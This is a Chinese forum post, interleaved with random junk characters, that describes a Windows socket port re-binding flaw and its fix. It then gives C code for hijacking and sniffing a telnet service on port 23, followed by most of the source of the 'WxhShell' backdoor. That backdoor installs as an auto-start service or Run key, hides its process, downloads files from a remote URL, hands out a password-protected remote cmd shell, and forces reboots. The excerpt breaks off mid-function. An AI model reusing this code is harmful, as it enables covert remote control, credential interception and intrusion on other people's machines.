-
UID:1177
-
- 注册时间2006-03-21
- 最后登录2009-03-24
- 在线时间675小时
-
- 发帖3743
- 搜Ta的帖子
- 精华
1
- 铜板8
- 人品值493
- 贡献值9
- 交易币0
- 好评度3746
- 信誉值0
- 金币0
-
访问TA的空间加好友用道具
- 发帖
- 3743
- 铜板
- 8
- 人品值
- 493
- 贡献值
- 9
- 交易币
- 0
- 好评度
- 3746
- 信誉值
- 0
- 金币
- 0
- 所在楼道
|
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L}nj#z4g s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |?s%8c'w= ^*A/92!yF saddr.sin_family = AF_INET; TnL%_!V! fB1JU1 saddr.sin_addr.s_addr = htonl(INADDR_ANY); miuJ!Kr' V?Lf&X? bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o80pmy7@ x?:WR*5w 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 g0rdF j!mI9*hP 这意味着什么?意味着可以进行如下的攻击: aP8Im1<A )7q;Fm_/ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 =zVbZ7 ?P<&8eY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) }w8h^(+B RduA0@g0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~W5fJd0 IAnY+=^ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 ,U>g LTS #$jAGt3^BT 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 :b=`sUn<X+ s7FqE>#c0 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 n+zXt?{u /,Ln)?eD 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ]_d(YHYf hx)Ed #include KPW: r#d #include x 9Gm)~ #include Ip8 Ap$ #include C1p
|.L?m DWORD WINAPI ClientThread(LPVOID lpParam); v&H&+:< int main() k49CS*I { X%`8h_ WORD wVersionRequested; 7X|&:V.s| DWORD ret; kG?tgO?* WSADATA wsaData; wH|\;M{0V1 BOOL val; MuZ\<;W$ SOCKADDR_IN saddr; c1|o^ eZ
SOCKADDR_IN scaddr; ]a_;*Xq8d int err; }y=7r!{@ SOCKET s; .a=M@;p SOCKET sc; L4Nk+R; int caddsize; zG [-n. HANDLE mt; 'G-VhvMv DWORD tid; .vG6\U7 wVersionRequested = MAKEWORD( 2, 2 ); BqR;d err = WSAStartup( wVersionRequested, &wsaData ); z+wV(i97 if ( err != 0 ) { 1)u=&t,
printf("error!WSAStartup failed!\n"); )/
s9ty return -1; rxP^L(q0* }
(y~da~ saddr.sin_family = AF_INET; gjo\gP@ @sfV hWG //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \VtCkb uAVV4) saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F{l,Tl"Jw saddr.sin_port = htons(23); 71K6] ~< if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]PUyX8'~ { s4~c>voQB printf("error!socket failed!\n"); yaR|d3ef?4 return -1; ik&loM_ } ,Oxdqx u7 val = TRUE; @Z3b^G[ //SO_REUSEADDR选项就是可以实现端口重绑定的 ~e%*hZNo if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "ajZ&{Z { 7t@jj%F printf("error!setsockopt failed!\n"); mXhr: e return -1; E8%O+x} } +"'h?7'C //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,j&o H$mW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #7Qn\C2 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ]t(g7lc}U /&kZ)XOi if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (6 0,0|s { B Am{Gb ret=GetLastError(); &]#D`u printf("error!bind failed!\n"); j:<E=[Kl return -1; i]Kq } [W^6=7EO listen(s,2); -(:BkA while(1) K<s\:$VVh { ^gb2=gWZ< caddsize = sizeof(scaddr); HO' ELiZ_q //接受连接请求 :dLS+cTC sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); m{b(^K9} if(sc!=INVALID_SOCKET) 2a?
d:21 B { \BJnJk!% mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); w'L;`k;Q if(mt==NULL) UKX'A)$ { F+hsIsQ printf("Thread Creat Failed!\n"); 3*8#cSQ/6o break; YJ3970c/M } T*YdGIFO } l8^^ O CloseHandle(mt); Q8\Ks|u] } NiWooFPKJ closesocket(s); Yq1 ~"he8 WSACleanup(); jRgv
8n return 0; Q|pz].0 } o^7NZ]m DWORD WINAPI ClientThread(LPVOID lpParam) Ui?t@. { D.?KgOZ SOCKET ss = (SOCKET)lpParam; ,{E'k+ SOCKET sc; Qz<v. _ unsigned char buf[4096]; oO= 6Kd+T SOCKADDR_IN saddr; WBC'~ h<@ long num; yP-.8[; DWORD val; $]Fe9E? DWORD ret; jq}5(*k //如果是隐藏端口应用的话,可以在此处加一些判断 ={z YcVI //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 -sc@SoS saddr.sin_family = AF_INET; hKX-]+6" saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D}3E1`)W saddr.sin_port = htons(23); Nk^#Sa? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u!g<y { VK$+Nm) printf("error!socket failed!\n"); 0'L+9T5 return -1; i(U*<1y } rRsLl/d val = 100; u_:"
u if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0Q>Yoa
11 { u9VJ{F ret = GetLastError();
/D~z}\k return -1; z`
gR*+ } B3I<
$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) j\Q_NevV { T}4RlIZF ret = GetLastError(); yq;gBIiZ return -1; lIOLR-:4j } )9@Ftzg| if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) T_B$ { noL<pkks~R printf("error!socket connect failed!\n"); Dk[[f<H_{ closesocket(sc); lT$A;7[ closesocket(ss); U)c,ZxE return -1; 6oJ~Jdn' } ZEApE+m while(1) pLk?<y { t,=khZ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 u1>| 2D //如果是嗅探内容的话,可以再此处进行内容分析和记录 E@[`y:P //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 eb+[=nmP num = recv(ss,buf,4096,0); a2p<HW;)m if(num>0) (wbG0lu send(sc,buf,num,0); 81aY*\ else if(num==0) ^Z}INUv]7 break; iL5+Uf)E3 num = recv(sc,buf,4096,0); seq
S*^7 if(num>0) nk6xavQji send(ss,buf,num,0); r[~Km5 else if(num==0) NCl={O9<j break; .O lq_wuH } ^iTjr$hQ; closesocket(ss); >gVR5o
closesocket(sc); KeXQ'.x5O return 0 ; 0!!pNK%( } JO1c9NyKr .\1XR xT=|Uc0 ========================================================== w3yI;P Vl'|l)b4W 下边附上一个代码,,WXhSHELL ZM4q@O)/ B23R9.FK ========================================================== Q*U$i#, JY%c< #include "stdafx.h" )7J@A%u zXMIDrq #include <stdio.h> _>&zhw2 #include <string.h> 3:);vh! #include <windows.h> qFvtqv2 #include <winsock2.h> rF
7EO%, #include <winsvc.h> :Fm+X[n #include <urlmon.h> (5'qEi ea #PtV=Ee1 #pragma comment (lib, "Ws2_32.lib") =u73AM} #pragma comment (lib, "urlmon.lib") ZEHz/Y% 5z#>>|1># #define MAX_USER 100 // 最大客户端连接数 zf2]|]*xz #define BUF_SOCK 200 // sock buffer \.Q"fd?a_D #define KEY_BUFF 255 // 输入 buffer f3*u_LO *S{%+1F #define REBOOT 0 // 重启 i}M&1E #define SHUTDOWN 1 // 关机 [Ma&=2h &HW%0lTs% #define DEF_PORT 5000 // 监听端口 z!t&zkAK ##yi^;3Y #define REG_LEN 16 // 注册表键长度 #nn2odR #define SVC_LEN 80 // NT服务名长度 |4wVWJ7 }4ta#T Ea // 从dll定义API | F:? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )S>~ h; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B4&x?-0ZC typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V^.~m;ETu] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ks!.$y:x %'t~+_ // wxhshell配置信息 l<^#@S H struct WSCFG { .F}ZP0THnZ int ws_port; // 监听端口 c+-L>dsss char ws_passstr[REG_LEN]; // 口令 WvNX%se]3 int ws_autoins; // 安装标记, 1=yes 0=no QbpRSdxy`$ char ws_regname[REG_LEN]; // 注册表键名
KqaeRs.u char ws_svcname[REG_LEN]; // 服务名 aoMQ_@0 char ws_svcdisp[SVC_LEN]; // 服务显示名 b6oPnP_3P char ws_svcdesc[SVC_LEN]; // 服务描述信息 zneK)C8&q3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P1H`NOC int ws_downexe; // 下载执行标记, 1=yes 0=no 7kG>s9O char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" `<+D<x)(3 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hwkol W UGr7,+N&w }; Gl}=Q7 j s7J#b7 // default Wxhshell configuration
:S?'6lOc( struct WSCFG wscfg={DEF_PORT, y]M/oH "xuhuanlingzhe", YceiP,!4?v 1, ZK_IK)g "Wxhshell", )SUT+x(DU "Wxhshell", m5f/vb4l "WxhShell Service", A-.jv "Wrsky Windows CmdShell Service", [4(TG<I "Please Input Your Password: ", v@"xEf1n[ 1, RR^I*kRH " http://www.wrsky.com/wxhshell.exe", 0B1*N_.L@ "Wxhshell.exe" $5cLhi"` }; }q27M 0>Ecm# // 消息定义模块 /3rt]h" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3}n=o d= char *msg_ws_prompt="\n\r? for help\n\r#>"; Lj({
T'f( char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; H6rWb6i char *msg_ws_ext="\n\rExit."; a*74FVZo.; char *msg_ws_end="\n\rQuit."; 0XL
x@FYn char *msg_ws_boot="\n\rReboot..."; PS(9?rX#+ char *msg_ws_poff="\n\rShutdown..."; :uhvDYp(- char *msg_ws_down="\n\rSave to "; -4Y}Y59\ wdoA>a?q char *msg_ws_err="\n\rErr!"; Cl4y9| char *msg_ws_ok="\n\rOK!"; vF3>nN(] mNm
8I8 char ExeFile[MAX_PATH]; 56&s' int nUser = 0; N;RZIg(x HANDLE handles[MAX_USER]; HIi"zo=V int OsIsNt; &=t$
AIu 1OE^pxfi> SERVICE_STATUS serviceStatus; &R pQ2*4n SERVICE_STATUS_HANDLE hServiceStatusHandle; %^gT.DsX- %+FM$xyJ // 函数声明 ?nj _gL int Install(void); j08|zUe int Uninstall(void); esbxx##\ int DownloadFile(char *sURL, SOCKET wsh); +JBhw4et;. int Boot(int flag); 0O"GI33Mg void HideProc(void); qV8;;&8r int GetOsVer(void); eJ$?T7aUf int Wxhshell(SOCKET wsl); h'w9=Pk~6y void TalkWithClient(void *cs); 8~\Fpz|Og int CmdShell(SOCKET sock); Mz+|~'R int StartFromService(void); rm(<?w%'? int StartWxhshell(LPSTR lpCmdLine); E^#|1Kpq U:gE:t f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Yca9G?^\v VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7Cp>i WV m'oVqA& // 数据结构和表定义 Joq9.%7Q SERVICE_TABLE_ENTRY DispatchTable[] = 09%q/-$ { dg/7?gV {wscfg.ws_svcname, NTServiceMain}, JB''Ujyi {NULL, NULL} 9v0.] }; c*MjBAq FbWkT4t| // 自我安装 _N9yC\ int Install(void) E)H8jBm6w { ]Fl+^aLS char svExeFile[MAX_PATH]; 1:q55!b HKEY key; j\!zz strcpy(svExeFile,ExeFile); dFo9O!YX[f -!(3fO: // 如果是win9x系统,修改注册表设为自启动 \9@*Jgpd6* if(!OsIsNt) { {eqUEdC if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #B)/d?aa' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m{(D*Vuqd RegCloseKey(key); VH,k EbJ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { DU]MMR RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); B2WPjhzD RegCloseKey(key); zZki9P
return 0; qV9` } `S{< $:D } :[|`&_D9J } 'rp(k\pY else { -md2Z0^ Kc qC.jXU?rO // 如果是NT以上系统,安装为系统服务 ;QREwT~H SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); zu^?9k if (schSCManager!=0) pk: ruf`) { 8y~
Jn~t SC_HANDLE schService = CreateService \QHe 0?6 ( '1=/G7g schSCManager, 0f;L!.eP wscfg.ws_svcname, @*%Q,$ wscfg.ws_svcdisp, @Eqc&v!O SERVICE_ALL_ACCESS, g%1!YvS3v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , roj/GZAy" SERVICE_AUTO_START, <MA!?7Z| SERVICE_ERROR_NORMAL, (RWZ[-;) svExeFile, ;wJLH\/ NULL, ;7tOFsV NULL, VGWqy4m NULL, ,'={/)c< NULL, ~;wSe[ NULL B~u{LvTE ); ElqHZ$a? if (schService!=0) >^D"% Oj y { [M@i,d-;A CloseServiceHandle(schService); qSkt
}F%' CloseServiceHandle(schSCManager); OA4NXl' strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); xm/v:hl= strcat(svExeFile,wscfg.ws_svcname); }@SZ!-t%rD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .Z'CqBr[: RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6"-LGK: RegCloseKey(key);
-NiFO return 0; A{y3yH`#h } 3vQ?vS|2 } g0cCw2S CloseServiceHandle(schSCManager); UyD=x(li } P,CJy|[L } p
Ic;9 (}gF{@sn return 1; dm)V \?b } Q%o ,Xo9gn // 自我卸载 @UkcvhH int Uninstall(void) e0(loWq] { i ,4 HKEY key; *=~
9? { tim{nV if(!OsIsNt) { XMa(XOnX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gigDrf} RegDeleteValue(key,wscfg.ws_regname); T/)$}#w0i RegCloseKey(key); i3rvDch
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <W|{zAyv RegDeleteValue(key,wscfg.ws_regname); ]rZ"5y RegCloseKey(key); uhQ3 return 0; 8kH'ai } @l$cZie } W_O,Kao } F{bET else { ,#gA(B# 1S
0GjR SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,;GWn if (schSCManager!=0) Y\dK-M{$ { \>23_d0 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "aB]?4 if (schService!=0) yr[iAi" { kx]f`b if(DeleteService(schService)!=0) { a!Z,~ V8 CloseServiceHandle(schService); .6(Bf$E CloseServiceHandle(schSCManager); ?n? Ep [D return 0; lOI(+74 } 8
x|NR? CloseServiceHandle(schService); pOlQOdl } fHlmy[V+M CloseServiceHandle(schSCManager); 67/hhO } 2EQ:mjxk } 2X]2;W)S; XHlPjw return 1; wgkh}b
} Ju)2J?Xs5 Il~ph9{JH // 从指定url下载文件 ~"
}t8`vP1 int DownloadFile(char *sURL, SOCKET wsh) 0-l
@U{ { uAK-%Uu? HRESULT hr; 6H.D`"cj char seps[]= "/"; X<,sc;"b`k char *token; OHp 121 char *file; ra_`NsKF} char myURL[MAX_PATH]; fVb&=%e char myFILE[MAX_PATH]; g9GE0DbT` Z-Bw?_e_K strcpy(myURL,sURL); z=n"cE[KtB token=strtok(myURL,seps); afGb}8
Q9 while(token!=NULL) S"5</* { r\` R$ file=token; -[0)n{AVvU token=strtok(NULL,seps); ]*[S#Jk } 3$(1LN Ct$e`H!; GetCurrentDirectory(MAX_PATH,myFILE); S7E:&E& strcat(myFILE, "\\"); t+q:8HNh strcat(myFILE, file); Q4CxtY send(wsh,myFILE,strlen(myFILE),0); q:J,xC_sF( send(wsh,"...",3,0); -UUPhGC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @xSS`&b if(hr==S_OK) kTc'k return 0; n8iejdA' else A5y?|q>5 return 1; J--9VlC' c5R58#XK= } =WFMqBh<` ,K3)f.ArYc // 系统电源模块 [KVBT;q6 int Boot(int flag) i7cMe8 { ^|>vK,q$I HANDLE hToken; ,%v TOKEN_PRIVILEGES tkp;
Mf/zSQk+ i7mT<w>? if(OsIsNt) { o-GlBXI; OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I$9t^82j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y.[^3 tkp.PrivilegeCount = 1; ~O
65=8 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
/DQoM@X AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GT|=Apnwr% if(flag==REBOOT) { e@NS=U` < if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) na(@`(j[ return 0; eaYQyMv@ } M-T&K%/lW else { Nyow:7p if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cqRIi~` return 0; 2/E3~X7 } "'^#I_*Mf } Z[ZqQ` 7N else { NVcL9"ht*@ if(flag==REBOOT) { Do=*bZ;A if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) B9>3xxp(by return 0; azS"*#r6} } CmY'[ rI else { g5;
W6QX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) hg]\~#&- return 0; ;rV0 } LXJ"ct } ?h<I:[oZ hz>&E,<8q return 1; b_W0tiyv% } .NiPaUzc< b U-Cd // win9x进程隐藏模块 (SkI9[1\@3 void HideProc(void) e7{3:y|]d3 { |9?67- I}kx;!*b HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :@`Ll;G if ( hKernel != NULL ) L/"u,~[ { 4IG'Tm pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,}=x8Xxr ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hh(_sewo FreeLibrary(hKernel); zX"@QB3E } V+nqQ~pJ& E;@`{ v return; Y(m/E.h.~ } Hd
U1gV> "e&S*8QhM // 获取操作系统版本 $f7#p4;}( int GetOsVer(void) ";J1$a { fM]zD/ g OSVERSIONINFO winfo; B;SYO>.W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G;Q)A$- GetVersionEx(&winfo); u%Hegqn if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l-Xxur5M' return 1; ((SN We else :5L9tNr{_ return 0; p,* rVz[Y } #VgPg5k.< CSN]k)\N( // 客户端句柄模块 pUZbZ
U int Wxhshell(SOCKET wsl) ]uI#4t~ { l5b?
'L SOCKET wsh; ~gNa<tg"1 struct sockaddr_in client; s_N?Y)lS+( DWORD myID; c_s=>z )(oRJu)y while(nUser<MAX_USER) GPy+\P` { uLD%M av int nSize=sizeof(client); T$U,rOB" wsh=accept(wsl,(struct sockaddr *)&client,&nSize); :EJ+# if(wsh==INVALID_SOCKET) return 1; x=pq-&9>B y
Rr,+>W handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); c:.k2u if(handles[nUser]==0) Vahfz8~w/ closesocket(wsh); x{`>Il else `f,SY nUser++; FX`SaY>D } FaYDa WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Bd*:y qi Cb~_{$ A return 0; '#mv- /<t* } 494"-F 6 v)mO"\ // 关闭 socket L=nyloz,0 void CloseIt(SOCKET wsh) hg_@Ui@[z { n dgG1v% closesocket(wsh); -.~Dhk nUser--; bnt>j0E ExitThread(0); AP&mr1_ } <)ozbv Xk PzbLbH8A // 客户端请求句柄 48l!P(>?y void TalkWithClient(void *cs) _yw]Cacr\ { [LDsn]{ pT\>kqmj SOCKET wsh=(SOCKET)cs; }wJ-*By{+ char pwd[SVC_LEN]; gM~dPM| char cmd[KEY_BUFF]; :Lu=t3#
char chr[1]; H/n3il_-I int i,j; Qxr&zT7f .G8+D%%. while (nUser < MAX_USER) { SC/|o
zXWf($^&E if(wscfg.ws_passstr) { O}5mDx if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &Jw]3U5J //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (`<X9w, //ZeroMemory(pwd,KEY_BUFF); s @\UZC i=0; Y~@@{zP while(i<SVC_LEN) { l'TM^B)`c Qz6Ry\u // 设置超时 Ni"n_Yun fd_set FdRead; Dg(882#_ struct timeval TimeOut; zSt6q FD_ZERO(&FdRead); M{M>$pt FD_SET(wsh,&FdRead); !@j5 yYf TimeOut.tv_sec=8; w$%d"Jm#X TimeOut.tv_usec=0; g*]Gc% int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }Jfi"L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); y!JZWq%= Ovu!G
q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h^QicvZ pwd =chr[0]; 8~Avg6, if(chr[0]==0xd || chr[0]==0xa) { )"SP >2} pwd=0; 5y3V duE break; U8Rko) } 6%'bo`S# i++; M;s r1C } ipy1tXc ~@g7b`t=la // 如果是非法用户,关闭 socket =^ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9[#9cv } ?8dd^iX/ 6, =oTmFP send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p) #7K send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dk}T&qZ~p rO#WG}E<" while(1) { ^B)iBfZ t\&u ZeroMemory(cmd,KEY_BUFF); w=]id'`?q Qe8F(k~k // 自动支持客户端 telnet标准 EtVRnI@ j=0; =2-!ay: while(j<KEY_BUFF) { f;";P if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dw6U} cmd[j]=chr[0]; p%MH**A if(chr[0]==0xa || chr[0]==0xd) { A^\A^$|O6 cmd[j]=0; 2|2'? break; II=(>G9v } i{1SUx+Re j++; `|9NxF+ } d"h*yH@ UvR F\x% // 下载文件 a g=,oYn if(strstr(cmd,"http://")) { 2h Wtpus send(wsh,msg_ws_down,strlen(msg_ws_down),0); #ZFedK0vv if(DownloadFile(cmd,wsh)) 7t8[M( send(wsh,msg_ws_err,strlen(msg_ws_err),0); HfQZRDH else @(k}q3b< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M}jF-z } f8Z[prfP else { +@n8DM{b P;B<R" switch(cmd[0]) { J`uO~W" sR(or=ub~ // 帮助 m6'VMW case '?': { vUlGE send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w]<a$C8*y: break; Zq,[se'nh" } -o\o{?t, // 安装 l+%2kR case 'i': { :[hZn/ if(Install()) e7T}*Up send(wsh,msg_ws_err,strlen(msg_ws_err),0); +`y{r^xD else y,D@[*~Xb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +0{$J\s break; Rv-`6eyAA } %Y0,ww2 // 卸载 HNFG:t9 case 'r': { 6bv~E. if(Uninstall()) %s|`1`c send(wsh,msg_ws_err,strlen(msg_ws_err),0); .?<M$38fv else ?vnO@Bb/a send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H>zX8qP+ break; HUP~ } p,(gv])ie // 显示 wxhshell 所在路径 uItzFX* case 'p': { .mr&zq char svExeFile[MAX_PATH]; J(0E'o{ug strcpy(svExeFile,"\n\r"); D9hV`fA strcat(svExeFile,ExeFile); %MA o<,ha send(wsh,svExeFile,strlen(svExeFile),0); F_<n8U:Y break; df85g } 8[PD`*w // 重启 3e)W_P*0? case 'b': { t[dOWgHi send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); XBvJc'(s if(Boot(REBOOT)) 8Uv2p{ <# send(wsh,msg_ws_err,strlen(msg_ws_err),0); #8cpZ]# else { O_gr{L} closesocket(wsh); 0@O:C:: ExitThread(0); >g {w, } b8QQS#q)V break; 7?1[sPM } d*}dM" // 关机 n8FmIoZ&` case 'd': { L6>;"]:f` send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "7G> if(Boot(SHUTDOWN)) QsXy(w#F send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4@qHS0$ else { *VP-fyJp closesocket(wsh); t\GoUeH] ExitThread(0); Fj_6jsDb } )U2cS\k'7n break; Bv=
} Qru
iQ/t // 获取shell %>)HAx ` case 's': { CXAW>VdK_ CmdShell(wsh); uPbGQ :%} closesocket(wsh); t9QnEP' ExitThread(0); .eNeqC break; >TKl`O } vzXfJP // 退出 t)p . $ case 'x': { \f!j9O9S send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 006qj. CloseIt(wsh); Ad:}i9-x break; D
,U#z } ,
z-#B] // 离开 9"g!J|+ case 'q': { (yr<B_Y'MY send(wsh,msg_ws_end,strlen(msg_ws_end),0); O
,9,=2j closesocket(wsh); )R+26wZ|n* WSACleanup(); tCF,KP? exit(1); ;2&ym)` break; N=vb*3ECg } _nn\O3TB } 0%W0vTvL } Q>%{Dn\? r;7&U<j~Z // 提示信息 ]ChGi[B~9 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]%Db %A } 4#MPD } ='[J. lTR/o return; tCVaRP8eC+ } 0etJ, _"> 3g{T+c* // shell模块句柄 aioN)V int CmdShell(SOCKET sock)
BH<jnQ { ozCH1V{p STARTUPINFO si; cns~)j~ ZeroMemory(&si,sizeof(si)); ~d9@m#_T#~ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j,Vir"-) si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Fr|Ts>Kx PROCESS_INFORMATION ProcessInfo; (fTi1
